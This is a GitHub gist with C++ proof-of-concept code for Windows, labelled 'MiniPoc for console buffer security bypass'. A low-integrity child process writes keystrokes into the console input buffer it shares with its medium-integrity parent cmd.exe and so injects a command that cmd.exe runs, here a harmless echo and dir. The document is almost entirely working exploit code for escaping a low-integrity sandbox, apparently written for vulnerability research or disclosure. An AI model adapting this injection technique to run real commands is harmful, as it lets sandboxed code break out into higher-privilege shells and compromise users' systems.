Last active
November 29, 2023 14:19
-
-
Save masthoon/85fab432527329f17a040b311fc1f2a2 to your computer and use it in GitHub Desktop.
Console Input Buffer security
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
MiniPoc for console buffer security bypass | |
Instructions | |
- Compile with x64 Native Tools Command Prompt for VS 2019 | |
* cl /Zi /std:c++latest minipoc.cpp | |
- Copy executable and apply Low Integrity directly to the file | |
* copy minipoc.exe minipoclow.exe | |
* icacls minipoclow.exe /setintegritylevel Low | |
(/Zi for pdb generation) | |
*/ | |
#include <Windows.h> | |
#include <Winternl.h> | |
#include <psapi.h> | |
#include <memory> | |
#include <array> | |
#pragma comment(lib, "Advapi32.lib") | |
#pragma comment(lib, "ntdll.lib") | |
#pragma comment(lib, "User32.lib") | |
enum IntegrityLevel { | |
INTEGRITY_UNKNOWN, | |
UNTRUSTED_INTEGRITY, | |
LOW_INTEGRITY, | |
MEDIUM_INTEGRITY, | |
HIGH_INTEGRITY, | |
}; | |
HANDLE CreateCurrentProcessToken() { | |
HANDLE process_token = nullptr; | |
OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &process_token); | |
return process_token; | |
} | |
IntegrityLevel GetCurrentProcessIntegrityLevel() { | |
HANDLE process_token = CreateCurrentProcessToken(); | |
DWORD token_info_length = 0; | |
if (::GetTokenInformation(process_token, TokenIntegrityLevel, | |
nullptr, 0, &token_info_length) || | |
::GetLastError() != ERROR_INSUFFICIENT_BUFFER) { | |
return INTEGRITY_UNKNOWN; | |
} | |
auto token_label_bytes = std::make_unique<char[]>(token_info_length); | |
TOKEN_MANDATORY_LABEL* token_label = | |
reinterpret_cast<TOKEN_MANDATORY_LABEL*>(token_label_bytes.get()); | |
if (!::GetTokenInformation(process_token, TokenIntegrityLevel, | |
token_label, token_info_length, | |
&token_info_length)) { | |
return INTEGRITY_UNKNOWN; | |
} | |
DWORD integrity_level = *::GetSidSubAuthority( | |
token_label->Label.Sid, | |
static_cast<DWORD>(*::GetSidSubAuthorityCount(token_label->Label.Sid) - | |
1)); | |
if (integrity_level < SECURITY_MANDATORY_LOW_RID) | |
return UNTRUSTED_INTEGRITY; | |
if (integrity_level < SECURITY_MANDATORY_MEDIUM_RID) | |
return LOW_INTEGRITY; | |
if (integrity_level >= SECURITY_MANDATORY_MEDIUM_RID && | |
integrity_level < SECURITY_MANDATORY_HIGH_RID) { | |
return MEDIUM_INTEGRITY; | |
} | |
if (integrity_level >= SECURITY_MANDATORY_HIGH_RID) | |
return HIGH_INTEGRITY; | |
return INTEGRITY_UNKNOWN; | |
} | |
static int IsParentProcessExplorer() { | |
CHAR Buffer[MAX_PATH] = { }; | |
PROCESS_BASIC_INFORMATION processBasicInfo = { }; | |
ULONG ulSize = 0; | |
NtQueryInformationProcess(GetCurrentProcess(), ProcessBasicInformation, &processBasicInfo, sizeof(processBasicInfo), &ulSize); | |
HANDLE parent = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, 0, reinterpret_cast<DWORD>(processBasicInfo.Reserved3)); | |
if (parent) { | |
GetModuleFileNameExA(parent, 0, Buffer, MAX_PATH); | |
if (strstr(Buffer, "explorer.exe")) { | |
return 1; | |
} | |
} | |
return 0; | |
} | |
static void ExitIfLowSpawnedMedium() { | |
CHAR Buffer[MAX_PATH]; | |
GetModuleFileNameExA(GetCurrentProcess(), 0, Buffer, MAX_PATH); | |
if (strstr(Buffer, "low.exe")) { | |
printf("Exiting because %s was spawned with Medium IL, please run icacls command\n", Buffer); | |
ExitProcess(1); | |
} | |
} | |
static void WriteConsoleInputWrapper(LPCWSTR str, DWORD length) | |
{ | |
if(!str || !length) return; | |
INPUT_RECORD *p, *buf; | |
DWORD i = 0; | |
p = buf = new INPUT_RECORD[ length ]; | |
for( ; i < length ; i++, p++) { | |
p->EventType = KEY_EVENT; | |
p->Event.KeyEvent.bKeyDown = TRUE; | |
p->Event.KeyEvent.wRepeatCount = 1; | |
p->Event.KeyEvent.wVirtualKeyCode = 0; | |
p->Event.KeyEvent.wVirtualScanCode = 0; | |
p->Event.KeyEvent.uChar.UnicodeChar = 0; | |
p->Event.KeyEvent.dwControlKeyState = 0; | |
if(*str == '\r') { | |
str++; | |
length--; | |
} | |
if(*str == '\n') { | |
p->Event.KeyEvent.wVirtualKeyCode = VK_RETURN; | |
str++; | |
} else { | |
p->Event.KeyEvent.uChar.UnicodeChar = *str++; | |
} | |
} | |
WriteConsoleInput(GetStdHandle(STD_INPUT_HANDLE), buf, length, &length); | |
delete [] buf; | |
} | |
static void SendEnterToConsoleInput() | |
{ | |
DWORD dwTmp; | |
INPUT_RECORD ir[2]; | |
ir[0].EventType = KEY_EVENT; | |
ir[0].Event.KeyEvent.bKeyDown = TRUE; | |
ir[0].Event.KeyEvent.dwControlKeyState = ENHANCED_KEY ; | |
ir[0].Event.KeyEvent.uChar.AsciiChar = VK_RETURN; | |
ir[0].Event.KeyEvent.wRepeatCount = 1; | |
ir[0].Event.KeyEvent.wVirtualKeyCode = VK_RETURN; | |
ir[0].Event.KeyEvent.wVirtualScanCode = MapVirtualKey(VkKeyScan(VK_RETURN),0); | |
ir[1].EventType = KEY_EVENT; | |
ir[1].Event.KeyEvent.bKeyDown = FALSE; | |
ir[1].Event.KeyEvent.dwControlKeyState = ENHANCED_KEY ; | |
ir[1].Event.KeyEvent.uChar.AsciiChar = VK_RETURN; | |
ir[1].Event.KeyEvent.wRepeatCount = 1; | |
ir[1].Event.KeyEvent.wVirtualKeyCode = VkKeyScan(VK_RETURN); | |
ir[1].Event.KeyEvent.wVirtualScanCode = MapVirtualKey(VkKeyScan(VK_RETURN),0); | |
WriteConsoleInput(GetStdHandle(STD_INPUT_HANDLE), ir, 2, & dwTmp ); | |
} | |
int main() { | |
HANDLE hProcess = 0; | |
STARTUPINFOA startupInfo = { .cb = sizeof(STARTUPINFOA) }; | |
PROCESS_INFORMATION procInfo = { }; | |
IntegrityLevel il = GetCurrentProcessIntegrityLevel(); | |
if (il == MEDIUM_INTEGRITY) { | |
// Sanity check if low process was spawned with Medium IL | |
ExitIfLowSpawnedMedium(); | |
if (IsParentProcessExplorer()) { | |
printf("Please execute me in a cmd.exe process to demonstrate the command injection\n"); | |
getc(stdin); | |
ExitProcess(1); | |
} | |
printf("[MEDIUM] Running as Medium Integrity, spawning low child\n"); | |
// Create low child | |
printf("[MEDIUM] Spawning child\n"); | |
CreateProcessA("minipoclow.exe", nullptr, nullptr, nullptr, true /* must inherit console handles*/, 0, nullptr, nullptr, &startupInfo, &procInfo); | |
} else if (il == LOW_INTEGRITY) { | |
Sleep(500); // Wait for parent to exit | |
printf("[LOW] Running as Low Integrity, we can access output\n"); | |
Sleep(500); // Wait | |
WriteConsoleInputWrapper(L"echo I SHOULD NOT BE ABLE TO EXECUTE && dir", 43); | |
SendEnterToConsoleInput(); | |
Sleep(500); // Wait | |
printf("\n[LOW] Child should have sent the input payload\n"); | |
} else { | |
printf("Please run this as medium integrity !\n"); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment